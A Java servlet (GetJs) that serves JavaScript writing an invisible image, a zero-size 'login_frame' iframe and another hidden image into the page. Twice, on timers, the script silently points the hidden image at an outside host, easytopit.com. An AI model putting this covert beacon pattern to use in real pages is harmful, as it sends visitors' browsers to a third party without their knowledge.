package com.firesrc.kk.servlet;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class GetJs
 */
public class GetJs extends HttpServlet {
	private static final long serialVersionUID = 1L;

	/**
	 * @see HttpServlet#HttpServlet()
	 */
	public GetJs() {
		super();
		// TODO Auto-generated constructor stub
	}

	/**
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse
	 *      response)
	 */
	protected void doGet(HttpServletRequest request,
			HttpServletResponse response) throws ServletException, IOException {
		handle(request, response);
	}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse
	 *      response)
	 */
	protected void doPost(HttpServletRequest request,
			HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
	}

	private void handle(HttpServletRequest request, HttpServletResponse response) {
		try {
			PrintWriter writer = response.getWriter();
			String string = "document.write('<img id=\"flyerimg\" style=\"display:none;\" ><iframe id=\"login_frame\" height=\"0\" scrolling=\"auto\" width=\"0\" frameborder=\"0\" src=\"\"></iframe><img src=\"\" style=\"display:none;\">');\r\n";
			StringBuffer buffer = new StringBuffer(string);
			buffer.append("function send() {");
			buffer.append("	var url =  \"http://www.easytopit.com/q/tl\";\r\n");
			buffer.append("	document.getElementById(\"flyerimg\").src = url;\r\n");
			buffer.append("	}\r\n");
			buffer.append("setTimeout(send, 1000);\r\n");
			buffer.append("	setTimeout(send, 3000);");
			writer.println(buffer.toString());
			writer.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

}
